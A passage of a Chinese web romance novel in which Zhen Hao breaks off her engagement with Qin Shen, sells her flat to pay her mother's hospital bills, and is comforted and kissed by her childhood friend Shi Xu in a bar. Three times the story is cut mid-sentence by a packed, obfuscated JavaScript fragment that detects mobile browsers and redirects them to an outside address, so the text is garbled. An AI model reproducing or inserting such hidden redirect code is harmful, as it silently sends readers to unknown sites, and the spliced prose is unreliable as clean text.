在甄美接替她去医院照顾何允莲后，她决定彻底解决遗留问题。 接到甄好的电话，秦深整个人从椅子上弹了起来。 他快步走出办公室，心跳快得像初次对她表白时。 “好好——”秦深喉结滚动，只开口喊了她的名字，便无后话。 甄好听着他的声音感觉陌生得可怕。 明明才过了十来天，却足以让两个相知相爱八年的人一下子拉回原点，甚至比陌生人还陌生。 “见一面吧。”甄好拉了拉口罩，声音听起来闷闷的，“时间和地点，你定。” 她冷静得像一台机器，住在她心里的那个任性女孩在短短半个月的时间里被彻底杀死。 秦深突然很不习惯这样的甄好。 在他面前，她总是像个贪玩的小孩，对他予取予求，毫无保留。 率真又可爱，却也偶尔让他感到无奈。 “好。”秦深没有多说，依了她。 在这段感情里，他对她百依百顺，是付出更多的那个，自认没有对不起她的地方，除了…… 想起那件事，他深深地叹了一口气。 两人约在一家环境清幽的咖啡厅，半开放的卡座严肃中带着一丝轻松。 这是他们认识以来从不会选择的约会地点。 因为甄好不爱喝咖啡。 一坐下来，她就环顾了一下四周，继而目光有些飘忽地落在窗外。 这种感觉很难形容，曾经最熟悉的两人如今却只剩相顾无言，甚至带着一丝尴尬。 覆水难收，破镜难圆，大概就是这个意思吧。 良久，秦深才主动开口：“好好，你瘦了很多。很累吧？” 他眼中有着浓浓的心疼，甄好却选择了忽视，并答非所问：“为什么选择在这里见面？” 她总觉得生活苦，便只喜欢甜，喝不得一点咖啡，这点秦深这么多年以来是再清楚不过的。 “我害怕这是我们最后一次见面……”秦深顿了顿，才继续说道，“我自私地想让你记住咖啡的味道，如果我们没有以后了，或许你看到咖啡厅、闻到咖啡香，都会想起我，哪怕只是一秒钟。” “秦深，我们认识多少年了？”甄好突然问了一个不相干的问题。 秦深一愣，半晌才回道：“九年了。” 他们大一初识，大二开始谈恋爱，从相识相爱到现在，整整九年了。 “九年……”甄好喟叹一声，“秦深，我人生三分之一的时间都耗在你身上了，我比谁都了解你。” 说完这话，从事发以来，她第一次如此冷静地看着他，冷静到能够用目光细细描摹他的轮廓，眼睛、鼻子、唇、下巴，再到喉结……每一处她都那么熟悉，却再也不是当初那种欣喜羞赧的心情。 她此刻的心，只余荒凉一片。 秦深被她看得有些慌乱，下意识垂下眼睛，不敢直视她。 “所以……”甄好神色坦然，视线没有离开他的脸半刻，一字一字，轻声说道，“别装了。” 42. 这就是所谓的爱 不要渴望别人爱你，要自己先爱自己。 ——《甄好日记》 别装深情了。 后面这句话甄好没有说出口。 正如她所说，她了解秦深。他所做所说不过是立深情人设，不过是为了感动自己。 自私的男人骨子里永远是自私的，不可能因为任何人而放弃自己的利益。 哪怕是最后一点价值，他都会利用起来。 就如此时此刻的秦深。 甄好看着因为自己的话而一脸错愕的秦深，心中的某些执念忽然释怀了。 与秦深的过往像电影般，一帧一帧闪过。 她与秦深相识于大一的学生会面试，他们同为面试的新生。 在偌大的教室里，他们有过简短的交谈。后来两人都成功加入学生会，成为干事，打照面的机会自然也就多了起来。 一来二去，他们从普通同事慢慢变成熟悉的同学，再到在后来秦深的耐心追求之下，甄好答应做他的女朋友。 不可否认，最开始的两年他们有过幸福和快乐。秦深和甄好一样，来自普通家庭，他总是能够洞悉她的想法，给足了情绪价值。 他们感情发生第一个转折点是在甄好大学毕业后，两家见面一商量，便把两个孩子的婚事定了。 闽市人都爱黄金，订婚最重要的便是购买金器，并且重量不轻。 秦深并非闽市人，婚嫁习俗相差甚远。甄东成本就不爱做那棒打鸳鸯之事，饶是甄奶奶一千个不同意，也还是根据两地习俗，在有商有量之下，将彩礼减半，金器减半，就这么和秦家定了姻亲。 甄奶奶不同意这门婚事的原因有三，一是不想让甄好远嫁，二是彩礼和金器不大方，三是认为孙女可以找到更好的婆家。 当时甄好不过刚毕业，她本意是想等两人先工作两年，等思想和感情稳定一些再谈婚论嫁，可这种事一旦牵扯到双方家庭，就好像被一只无形的手推着一步一步往前走，让她根本没有喘息的间隙，遑论说“不”。 她和秦深又的的确确处在感情最好的时候，于情于理，她都不忍拒绝，生怕伤了他的心。 订婚就像赶鸭子上架，甄好进退维谷，只能接受。 两地习俗的相差甚广为他们之间的感情埋下了第一个隐患。 而两人的感情一路急转直下发生在甄好咬牙买了自己的第一套小房子。 从小便流离失所的她，对房子的渴望大过了一切。加上她一直看重金钱，早在对金钱有概念的时候就开始拼命赚钱、存钱。 在新媒体刚兴起的时候，她也跟风做起了自己的账号。 她没什么才艺，又有镜头恐惧症，可赚钱的欲望还是驱使她想出了别的办法——不露脸，只录声音和拍摄局部。 或许是她运气好，也或许是非遗文化的魅力，她的账号做起来了，粉丝越来越多，入账也越来越可观。 然而事物总是具有两面性，她在获得赞声的同时也听到了一片骂声。 有人说她一定是声甜人丑，所以才一直不敢露面；也有人说她消费非遗，不配做非遗传承人；还有人说她是骗子，骗人打赏……总之说什么的都有。 起初，她也内耗，也崩溃，不管是直播还是Vlog都许久不敢上线。 她本就极度在意别人对自己的外貌指指点点，如今又被人说成非遗骗子，她整夜整夜地失眠，账号沉寂再沉寂，后来干脆彻底停更。 好在这些年她攒下了不少钱，在闽市房价尚可以接受的时候，两人一合计，她一咬牙付了首付，购了一套两居室。 彼时秦深正逢要调往外地工作的时期，但幸好时间来得及，看房、包括签约等都是两人一起去的，整个过程很顺利。 他甚至兴致勃勃地保证：“我现在工作赚钱了，你放心做你想做的事，一切有我。” 甄好当时的恋爱脑一上来，只觉得自己幸福得快要晕过去，坚信不疑这就是幸福生活的开始，并且将来会越来越好。 收房的时候，她和秦深已经处于异地恋，高铁三小时，是他们之间的物理距离。 不过一年的时间，秦深却变得连甄好的电话都不想接。 甄好不知道问题出现在哪里，他越这样，她越心慌，越没有安全感，电话也就打得越勤。 可这样做的结果只会换来秦深的逃避。 到新房的装修期间，两人已经演变成对着电话无言以对。 从买房到装修，甄好承受着秦深无法理解的压力，无论是经济压力还是心理压力，秦深都一无所知。 强大的自尊心让甄好无法开口跟秦深讨论金钱的问题，哪怕一开始说一起承担生活和贷款的人是他，她也默默咬牙忍受。 这就导致从付完首付，到交房前期的房租，包括生活费，以及后来的装修都必须由甄好一人一力承担。 经济的突然下滑，收入出现巨大的断层等现实困难几乎要将甄好击垮，她找老板提前预支半年的工资，她办了一张又一张信用卡，她找银行办理装修贷，她连续三年省吃俭用…… 她心里的怨气与日俱增，原本该与她同舟共济的恋人却连话都不愿与她多说。 当初秦深是怎么说的呢？ 他说：“好好，我现在只要接到你的电话就觉得喘不过气来。” 他何其残忍，用最普通的话语将她伤得遍体鳞伤。 订婚以来，这段感情在各种因素下变得岌岌可危。 问题是从什么时候开始出现的，甄好已经理不清了。 在一个寻常的周末，秦深没有像以前一样提前给她打电话，一个人不声不响地回到了闽市。 那天的主题只有一个，秦深说：“我想结婚了。” 订婚后，甄好一直以工作还不稳定为由，一再推迟婚期。可真正的原因大概只有她清楚，她也曾向秦深诉说自己对于婚姻的恐惧和不安，希望他能够多给自己一点时间，他表面答应，可是两人一分开，一切就又回到原点。 “你总说怕将来，怕变动，说到底，你是怕我吧？我知道我现在还没有能力买大房子，老实说，你买了房后，我的压力一天比一天大。”秦深此次回来就是想将事情聊开，他深陷这个旋涡太久了，已经到了影响工作和生活的程度，“如果你相信我，你足够爱我，你怎么会怕和我走入婚姻呢？” 面对他的问题，甄好没法回答。 也许他说得对，她心里的确有顾虑，但这顾虑到底是因为小时候的经历还是因为他这个人，连她自己都说不清，于是只能沉默。 甄好的沉默让秦深心如死灰：“好好，要不，我们就到这里吧。” 那是他们第一次分手。 没有争吵，也没有眼泪，平静得像是出门前的温柔叮嘱。 要不，我们就到这里吧。 秦深当天就独自返回工作的城市，甄好当晚第一次去了酒吧。 那一次，便是她和时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725299|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序的重逢。 多年不见，他们重逢在甄好最狼狈的时刻。 甄好较小时候变化很大，齐肩短发留长，烫了大波浪，但并未染色。二十四岁的她已经学会用化妆掩盖成年人的疲惫和虚伪，按理说时序不应该一眼认出她才对，偏偏他就是在喧嚣的酒吧里一眼锁定了她。 甄好也在愣怔一秒就准确地叫出了他的名字：“时小序？” 昔日的少年已然长成成熟稳重的俊朗男人，只是眉目变化不大，依旧眼神清澈，笑容和煦。 “嗯，是我。”时序看着喝得双眼有些迷离的甄好，眉头轻皱，“你……” 他想问她怎么会来酒吧这种地方，转而又觉得这个问题纯属多余。 这晚他之所以出现在这里，是因为宋景选择在这里庆生。 他虽然在初二那年就转学了，但后来还是慢慢跟之前的同学联系上了，除了一个人。 “你什么你？”甄好又猛地灌下一口酒，再开口时语气里满是委屈，“你当年为什么一声不吭就走了，为什么这么多年都不找我……为什么……” 她已经喝得有些醉，脸颊爬上两坨绯红，比平日里的她更为大胆外放，说话的时候手直接搭在了时序的肩上。 两人之间像从没有过空白的那九年，从时序为什么转学聊到甄好的失恋。 很奇怪，明明那晚的谈话距今已经过去四年，甄好仍旧清清楚楚地记得时序迟到了九年的解释：“转学的事情发生得突然，我来不及跟大家告别，等安顿下来，发现手机不见了，□□也被盗了，我一下子联系不上你们任何人。后来到了中高考的关键期，我又告诉自己不要打扰你学习……” 见他停了下来，甄好忍不住追问：“那后来呢，为什么不联系我？” “后来……”时序躲避她的眼神，声音很低，“后来我听说你谈恋爱了，就……” 话说到这里，甄好也就彻底明白了。 “秦深，我们都不要自欺欺人了。”关于过往的种种甄好已经不想再提，她吃过的那些苦不会开成花，只会凝结成越来越浓烈的恨，“其实我们都更爱自己，我是，你也是。” “好好，不是这样的，我是爱你的。”秦深矢口否认，“我只是太想结婚了，心情太压抑了，一不小心喝多了就……” 说到这里他突然停了下来，小心翼翼地看着一脸冷静的甄好。 “就什么？”甄好像个残忍的刽子手，手起刀落的地方是自己的脖子，有些话听起来会让她痛彻心扉，可她偏偏要听，她想一遍遍地听，将自己的心凌迟至麻木，那样也就不会再痛了，“怎么不说了？” “好好，我真的只是喝多了，才会把她当成你。”秦深极力解释着，“好好，我真的只爱你，你相信我。” 甄好忍着心痛冷笑一声：“你只爱我，所以你放任我哭泣也不愿接我的电话；你只爱我，所以你喝多了可以搂着别的女人睡觉；你只爱我，所以在我妈生病了急需用钱的时候依然要讨回那笔彩礼……秦深，这就是你所谓的爱我？” “那笔彩礼钱是我爸妈辛辛苦苦攒了半辈子的，我不忍心，我……” “够了。”甄好的指甲紧紧掐入掌心，疼痛和难过让她的眼睛变得通红，却没有流一滴泪，“秦深，别装了。在我提出退婚的第一时间，你想到的只有钱，全然不顾我们多年的感情，你根本就不爱我，你爱的只有你自己。” 如果秦深的爱也叫爱，那她宁愿不要。 43. 从此互相不干涉 在很多事情面前，我们无能为力，但我们也拥有无限力量。 ——《甄好日记》 “这八年来，我承认我过于任性，对你予取予求，我错就错在不该将自己的情绪寄托在你身上，也不该妄想从他人那里得到自己所缺失的爱，我想要的爱和安全感不应该来自你，也不应该来自任何人，它们只能来自我自己。”甄好从没有哪一刻像现在这般冷静和清醒，“秦深，我自认我没有对不起你分毫，我不要你给我买多贵的礼物，不要你为我一掷千金，我处处心疼你，不要求你买大房子买豪车，更不要求你赚多少钱，我要的只是一份纯粹的爱。但或许人性就是如此，越容易得到的越不知道珍惜，越是不要花钱的就越让人看不起。在你心里，或许我就是那个免费的、一切从简的不值钱女朋友吧。哦，不，前女友。” 秦深被她一番话说得哑口无言，不过她并不想得到什么答复，她只是想将心里话都说清楚。只有课题彻底结束，才不会有被重提的可能。 她不希望在将来的某一天，这件事又被重新翻出来，成为卡在喉咙中的鱼刺，吐不出来，也咽不下去。 “秦深，谢谢你为我带来一场梦幻的恋爱之旅，现在梦醒了，我们也都该退场了。这些年以来，很抱歉让你有过那么多为难和那么多无奈的时刻。遇见你，我不后悔，真的。”甄好每个字都说得情真意切，心湖平静得连她自己都没想到，“但是我们，好像真的只能到这里了。” 四年前，是秦深先说“我们到这里吧”，四年后，她将这句话原封不动地送回给他。 缘分很奇妙，总会以让人意想不到的方式重来，无论是相逢，还是离别。 秦深握着咖啡杯的手微微用力，喉结上下滚动，却始终说不出一句话来。 这段日子以来，甄好早就习惯了他的沉默，她也早已从一开始的惶恐不安到现在的无所谓：“秦深，这回我放你走。你回到你的城市，去做你想做的事吧。无论是恋爱还是结婚，我们自此互不干涉。” 说完这些话，甄好深深地呼出一口气，胸口像被什么堵着，闷闷的，十分难受。 原来一别两宽各生欢喜是这种感觉。 她以前还觉得这句话矫情，而今真正落到自己身上时，她方知过来人从不曾将切身感受夸张放大。 甄好走出咖啡厅，微微抬头，入目便是高远的天，远处的江在日光下波光粼粼，摇曳着的，不知是谁摇摇欲坠的心。 她不再管仍旧坐在位子上的秦深是什么表情，头也不回地朝左走去，很快拐入一个转角。 她知道秦深出了咖啡厅是向右走，不过那已经与她没有关系了，她只是想给自己一个小小的分手仪式——一个向左，一个向右，从此再无交集。 只是刚拐入新的街口，她便停下了脚步。 这是一条老街，街道两旁都是摆摊的小贩，多为年老的阿公阿婆。 她的目光落在位于榕树下的一个水果摊，摊主是一个年轻的女人。 这本不是什么稀奇的事，真正让甄好驻足的原因有两个—— 一是，摊主坐着轮椅，脸上却仍旧带着明媚的笑，灵活地穿梭在一方小小天地里。 二是，水果摊一旁支着一张小小的桌子，一个小学生模样的女孩正埋头认真地写着什么。 这幅画卷具有怎样的冲击力呢？ 像海燕在暴风雨中于海面斜飞，像雄鹰展翅翱翔于天际，又像沙漠中唯一的绿洲，给甄好心中注入无穷的力量。 那是一种无法言喻的生命力，足以激励所有，也足以让人原谅所有。 甄好心中那股憋闷的气突然就顺了。 每个人都在努力地活，她只是结束了一段不健康的恋爱，有什么好怨天尤人的呢？ 甄好抬脚走向水果摊，蹲下来仔细挑选，而后仰头冲摊主微微一笑：“猕猴桃和苹果怎么卖？” 咖啡厅。 秦深一个人呆坐在位子上，双肩无力地垮下去。 面对甄好的那番话，他一个字都说不出来；她起身离开，他也像被钉住了身体，浑身僵硬，失去了追逐的力气。 他就这么坐着，不知过了多久，突然响起的手机铃声才叫他回了神。 他看了一眼来电显示，脸上闪过挣扎，最后还是接了起来，却一言不发。 双方沉默片刻后，丰婉先开了口：“阿深，你问我的问题我想好了。我不介意，我不介意你忘不掉她，我愿意等，等你的心里有我。” 听到她的话，秦深有些恍惚。 这个问题是在他和甄好关系最恶劣、他还没有对不起甄好的时候，他一气之下问丰婉的。 刚调任到安市的时候，他每天忙到脚不沾地，下了班回到公司提供的宿舍就只想到头睡觉。偏偏无论是工作期间，还是休息时间，他都要时不时应付甄好的电话和消息轰炸。 说是轰炸也不准确，但在当时忙晕了头和因为迟迟无法结婚而困扰郁闷的他看来，甄好哪怕只是早中晚的问候和偶尔的来电，也让他觉得焦躁不安。 丰婉就是在这个时候出现的。 她是他们公司的合作方，临时驻办事处，住的地方就在员工宿舍上面两层。 是什么契机让两人有了第一次的小酌，他已经不记得了。 他只记得在丰婉那里感受到了前所未有的轻松，他可以不去想结婚不去想责任，可以放松身心地畅聊畅饮。 一来二去，两人变得越来越熟稔，他对甄好也越来越敷衍，甚至不耐烦。 这些敷衍和不耐烦里更多的是心虚还是不爱了，连他自己都分不清。 意识到那个时间段里的甄好与平时的她根本无异甚至更为小心翼翼已经是后来和丰婉稀里糊涂过了一夜之后的事了。 悔恨和自责如潮水般将他淹没，却悔之晚矣。 “我知道了。”秦深只是说了这么四个字，便挂断了电话。 结束这通对话后，他终于缓缓站起身，也是这时他才发现甄好已经结过账了。 她还是那样倔，在决意划清界限的时候，一分一毫都不肯欠对方。 这一次，她是真的要跟他分开了。 迟来的心痛密密麻麻地缠绕住他整颗心，让他走路都有些晃。 如甄好所料，他出了咖啡厅，缓步向右走。 被他握在手里的手机再一次急促地响了起来，他有些心不在焉地接起了电话。 他上面有三个姐姐，打来电话的是他的二姐。 对方刚说第一句话，他的脸色就一寸一寸地变白，最后嘴唇都有些哆嗦。 秦母患有严重的糖尿病，出现了意想不到的并发症，医院下了病危通知书。 如果说前一秒他还对自己和甄好的感情抱有一丝希望，那么此时此刻，他彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737285|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底嗅到了绝望的味道。 成年人的爱情多么脆弱啊，一个电话、一个转身，就可能是错过一辈子。 他买了最近一趟的航班，直飞老家。 坐在候机厅里，他只觉一颗心空落落的，什么都填补不了。 他盯着手机看了又看，最终深吸一口气，发出了一条消息：“我们结婚吧。” 甄好轻松的心情并没能持续太久，她拎着买的水果刚走到医院大楼下，就接到了甄美的电话。 近来姐妹俩的谈话主题永远绕不开一个“钱”字。 面对高昂的手续费和即将到期的大笔欠款，甄好只觉得一阵天旋地转。 她本能地用手抵住一旁的罗马柱，才堪堪稳住身形。 医院本就是个让人压抑的地方，戴着口罩的甄好此时更觉几乎无法呼吸。 缓过来后，她第一时间给置业顾问打去电话：“王经理，我的房子愿意再降价十万元出售。” 她已经被逼到绝境，卖房是她唯一的活路。 王经理轻轻地叹了一声，哪怕心里再觉得可惜，也还是应了：“我明白了，甄小姐，有消息立刻通知您。” 挂断电话，甄好有些脱力地坐在一旁的长椅上，垂头沉默着。 身边人来人往，却无一人是她的依靠；耳边充斥着各种各样的声音，有焦躁的，有庆幸的，有伤心哭泣的，也有喜极而泣的，却没有一个声音能够安抚到她，反而越听越焦躁。 她甚至不敢去病房看到何允莲那张唉声叹气的脸，也不知道自己此时还能做什么。 手机的振动声让她脱离了虚无的状态，她拿起来一看。 是何允莲发来的一条又一条长达六十秒的语音消息。 她戴上蓝牙耳机，近乎机械地点开语音条，何允莲有气无力的声音传至耳中—— “好好啊，怎么办？妈妈是不是要死了啊？我感觉浑身哪里都不对劲，头疼腰疼腿疼，喉咙疼心脏也疼。你们姐弟仨是不是有什么事瞒着我……” “我每天饭吃不下，觉睡不好，感觉呼吸不上来，稍微动一下就气喘吁吁，冷汗直流，妈妈是不是得了什么大病？不然怎么吃了药都好不起来……你们不要瞒着我。” “好好，我什么时候能出院……” 听到第三条语音的时候，甄好直接掐断了。 类似的话，这些年她已经从何允莲嘴里听过无数次。起初，他们姐弟三个都着急忙慌地安排挂号、治疗，何允莲却临到头又声称自己没事，不需要去医院，任凭谁人怎么劝都没用。 浪费时间和挂号费是一回事，耽误治疗才是要紧事。 等下一次，何允莲故技重施，先嚷嚷哪里不舒服，最后挂了号又不去看。几次下来，他们都理所当然地认为她只是以此为理由，想让儿女们多多关心她。 说来也是她这个做姐姐的失职，如果当初她强硬一点，将何允莲塞进医院做一个详细的全身体检，也许何允莲的病情不至于发展到如今这个地步。 她悬在语音条上的手指到底还是再度点了下去，一遍又一遍地听着何允莲略显虚弱的抱怨。 听着听着，她内心涌起无限的烦躁和自责，一种被黑洞吸进去的窒息感逐渐包裹住她，让她起身慌不择路地逃离了医院。 当她提着一袋猕猴桃和一袋苹果出现在橘色时，一到吧台就和一双熟悉的眼睛对视上。 44. 热吻于橘色吧台 最好的、最坏的，我都经历过，从此我将无坚不摧。 ——《甄好日记》 去年生日那天，周淳芮大手一挥，直接在橘色给甄好开了一张会员卡，并往里面充了五位数的酒钱，作为生日礼物送给了她。 否则以她现在的情况，别说来橘色喝酒了，买水果她都要思考一下价格。 傍晚时分的橘色很冷清，真正的夜宴还未拉开序幕。 时序原本只是被催婚催烦了出来躲清静，顺便找宋景喝一杯，没想到会在这个时间点遇到甄好。 四目相对时，两人眼里都有着震惊，时序更多的是惊喜，甄好则下意识想逃。 如果不是宋景眼尖，一眼看到他们就立刻招呼人，恐怕甄好真的会掉头就跑。 “好好同学，来就来，不用带这么多……”宋景看了一眼她手里提着的东西，一脸戏谑，“水果吧？” 宋景是橘色的股东之一，不常来，但兴致来了会来充当调酒师。游手好闲的富二代，难得有自己擅长并且能用来赚钱，宋老爷子不知道多欣慰，不仅不再拦着他创业，资金还一笔接一笔地注入。 面对年少时喜欢过的女孩，他依旧会心动，只是不再像小时候那样幼稚，以欺负她博取关注。重逢后聊起旧事，或许是成年人的自我保护，他只是笑着说：“喜欢啊，现在也老喜欢好好了，就是不知道好好肯不肯给我一个追求她的机会……” 他这话听起来像极了玩笑，毕竟当时甄好已有相恋四年的男友，只有他知道自己的话再真心不过。 再后来，橘色成了他们这些老朋友常来的小聚之地。 不似宋景的玩笑，时序一下子就意识到了什么：“刚从医院过来？” 甄好没有回答他，只是面向宋景，开口道：“有没有新的调酒？能让人喝了忘记一切烦恼的那种。” 她二十八年的人生当中，鲜少有借酒消愁的时刻，这一次她却只想不醉不归。 “先来一杯你最爱的长岛冰茶？”宋景双手撑在吧台上，征求她的意见，“至于新的，给我点时间，保证完成任务。” “好，就按你说的。”甄好酒量不错，哪怕是号称“一杯倒”的长岛冰茶也只够调动她的情绪而已。 宋景很快调好一杯长岛冰茶递给她：“这位漂亮的女士，请慢用。” 甄好没理会他的逗趣，一个人沉默地喝起了酒。 她带来的水果就放在手边，她想再也没有比自己更奇怪的顾客了吧，带着水果来喝酒一看就很有故事吧，否则怎么会有人这么快就来跟她搭讪？ “晚上好，不知我有没有这个荣幸和你喝一杯？”一道男声落在她耳畔，紧接着有人在她身边落座。 甄好还没看清男人的脸，就被一个宽阔的背影挡去了所有视线。 “不好意思，你没有这个荣幸。”时序的语气和神情都有些冷，那男人被他强大的气场吓退，端着酒杯走开了。 甄好乐了：“看不出来你还有这一面。” 在她的印象里，时序永远是谦逊有礼的模样，像方才那样强硬的时刻她还真的是第一次见。 “哪一面？”时序在她身边坐下，也要了一杯酒。 “就是……”甄好歪头思索了一下，才找到自认为比较合适的词语，“很男人。” 她的用词像一根羽毛轻轻挠了下时序的心，她到底知不知道她现在这副脸颊绯红、双眼湿漉漉的模样有多让人心动？ 偏偏那张微微带着粉色的嘴还说着这样令人遐思的话…… 时序不着痕迹地深吸一口气，决定结束这个话题，转而端起酒杯：“我陪你喝。” “好啊。”甄好一杯酒下肚，兴致变高，又找宋景要了新的：“宋老板，酒好了没？” 宋景刚好在杯沿放上了柠檬片，闻言动作优雅地端到甄好面前：“甄小姐，小生最新特调之‘橘色告白’，请品尝。” “橘色告白……”甄好看着那似落日金桔般的酒液，微微一笑，“好名字，就是不知道劲够不够大。” 她现在头脑太清醒了，清醒得什么都往脑子里钻，神情哀伤的秦深、语调悲凉的何允莲，连医院那刺鼻的消毒水都仿佛在鼻尖萦绕不散。 各种声音和画面一个劲地往她脑袋里涌，挤得她感觉头快要爆炸。 她端起酒杯，仰头一饮而尽。 辛辣却不刺喉的液体很快滑入胃中，渐渐地，她感觉大脑变得轻飘飘，那些痛苦的记忆像退潮般，一点一点地飘远…… 看着她一杯接一杯喝着酒，时序的眉头始终皱得紧紧的。 明眼人都能看出来甄好心情不好，他们这些相熟的也都知晓她在烦恼什么，然而大概只有他知道她还欠着巨额债务…… 这些日子以来，他一直在思考该如何帮助甄好，以他对她的了解，直接的金钱帮助她断然是不会接受的，甚至还可能会惹恼她…… 但幸好，他找到了合适的方法。 “却哥？”时序发了一条消息出去。 他本想直接打电话，又怕在甄好面前露馅，只好选择发消息。 对方却一直没回复。 而这时，甄好已经趴在了吧台上，时序以为她睡着了，放低视线才发现她正专心致志地看着面前晶莹剔透的酒杯。 “时序，你说如果变成一杯酒，是不是就没有烦恼了？”她问着不着边际的问题。 有乐队唱起了温柔缱绻的歌，曲调哀戚婉转，很符合甄好的心情。 此情此景让时序想起了不久前那个旖旎的夜，面前的女人也是在伤心之下喝了很多酒，然后他们…… 时序及时打断自己不合时宜的回忆，重新将注意力放在甄好身上。 他期待已久的来电铃声终于响起，来自甄好的手机。 “喂，你好。”甄好慢吞吞地拿出手机，语调也慢吞吞的，“请问找谁？” 三言两语之下，甄好很快变了脸色，先前所有的人为麻醉在此时消散得一干二净。 电话是医院那边打来的。 何允莲闹着要出院，任谁劝都没有用。以她的身体状况，此时出院又实在危险…… 甄好感觉头更痛了。 挂断电话后，时序一脸期待地看着她。由于她是趴着接电话的，他并未看见她骤变的脸色。 “好好？”见甄好踉跄着起身，却因为腿软站不稳险些摔倒，时序手疾眼快地扶住她。 “我要去一趟医院。”她挣扎着要自己走，却整个人险些倒下去。 时序再一次紧紧揽住她的肩膀：“别着急，有我呢……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752244|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甄好连续喝了几杯烈酒，虽然因为医院的通知而大脑清醒了过来，身体却不受控制，连走路都困难。 不知是因为近来所有的情绪再也忍不住想要爆发，还是因为酒精作祟让人暂时忘却了要坚强，或者是因为时序的那句“有我呢”，总之，当时当下，甄好很想痛哭一场。 她忍着眼眶的酸涩，像是在喃喃自语又像是在问揽着自己肩的男人：“时序，我是不是很没用？二十八岁了，还把人生过得这么糟……” “好好，你相信我吗？”时序却没有正面回答她的问题。 甄好听了微微愣住，睁着迷蒙的双眼看着他，而后轻轻但坚定地点了点头：“相信，我相信你。” 他们之间有过误会，也有过分离，可时序身上那种难以言喻的让她感到无比安心的磁场一直在。 从五岁那年，到今时今日，他都是她的安全地带。 “好好，如果太辛苦，就把烦恼先交给我，好不好？”时序扶着她肩膀的手微微用力，“如果你真的相信我，先允许自己休息一下，好吗？” 时序的这番话在不久前她也听过类似的。 在她发现秦深出轨的那晚，在那个大雨几乎倾倒城市的夜，在温暖舒适的车厢里，她迷迷糊糊听见了时序的真情流露—— “好好，如果太辛苦，就放手吧。” “不管未来如何，都有我。” 她当时只当是自己在做梦，才听见了这样美好的话语。 可眼下，时序的嗓音一如既往温柔坚定—— “如果太辛苦，就把烦恼先交给我，好不好？” “如果你真的相信我，先允许自己休息一下，好吗？” 酒吧实在不是适合煽情的地方，甄好却再也忍不住，趴在她肩头啜泣起来。 好在灯光够绚烂，叫人看不清她哭花了妆的脸；好在音乐和人声足够嘈杂，让人听不见她隐忍的哭泣。 只有时序，将她所有的脆弱和不堪收在了眼底，又妥帖地熨平。 她心里某处刻意被藏起的柔软，好似有了坍塌的迹象。 哭泣并未持续太久，是时序先将人扶稳，面对面地看着她，伸手轻轻擦去她脸上的泪痕。看着她连绵不断砸下来的泪珠，他心疼得不得了。 她还是像小时候一样，连哭都不敢发出声音。 鬼使神差地，他捧住她的脸，温柔地一点一点吻去她的泪水，最后又在她额头上重重地印下一吻。 甄好愣住了，浑身有些僵硬，连哭都忘了。 他在做什么…… 此时他们身处橘色最显眼的吧台，周围来来往往都是陌生的客人，而…… 甄好下意识心虚地看了一眼吧台处。 穿得花里胡哨的贵公子宋景不在那里。 她这才不自觉地松了口气。 头脑冷静下来后，两人都有些尴尬地拉开了点距离。 然而感到尴尬的其实只有甄好一人，时序一点也不后悔自己刚才的举动。 他的目光炽热到好似会灼人，语调却轻柔：“走吧，我陪你。” 就在这时，他们的手机同时响了起来。 时序收到了回信：“不好意思，刚刚有点事耽搁了。” 甄好则是又接到了一个电话。 45. 不可告人的关系 只要拥有告别过去的勇气，就能拥有重新开始的机会。 ——《甄好日记》 “真的吗？”甄好不敢相信地一再确认，“那位先生真的看中了？好好好……可以，没问题，你给我发地址，我现在就过去。嗯嗯，太感谢了。” 听着甄好陡然变得高昂的语气，时序悬着的心缓缓回落。 他终于可以为她做点什么了。 “阿序，我的房子有买家了！”挂断电话后，甄好迫不及待地向身边人分享好消息，眼角眉梢染上的都是笑意。 看着这样眉眼生动的甄好，时序突然有些动容。 她有多久没这样笑过了呢？ “可是……”想到在医院里的何允莲，甄好的眉头又皱了起来，“买家约我待会儿面谈，我妈那边……” 她一时难以取舍。 “医院那边你放心，有我呢。”时序安抚她，“你先去忙房子的事。” “可……” 时序打断她：“别可是了。要是我没记错，阿姨还挺喜欢我的。” “那好吧。”他说得没错，何允莲从前就喜欢他，在得知他是裴家大少爷后，更是每次见了他都跟看见羊的狼似的。 虽然这么比喻好像不恰当，但事实就是如此。 何允莲不止一次话里话外希望时序做自己的女婿，得亏她还有点分寸，这话不曾在秦深面前说过。 不仅何允莲这样想，就连向来与她不睦的甄奶奶这回也跟她站在了同一战线。 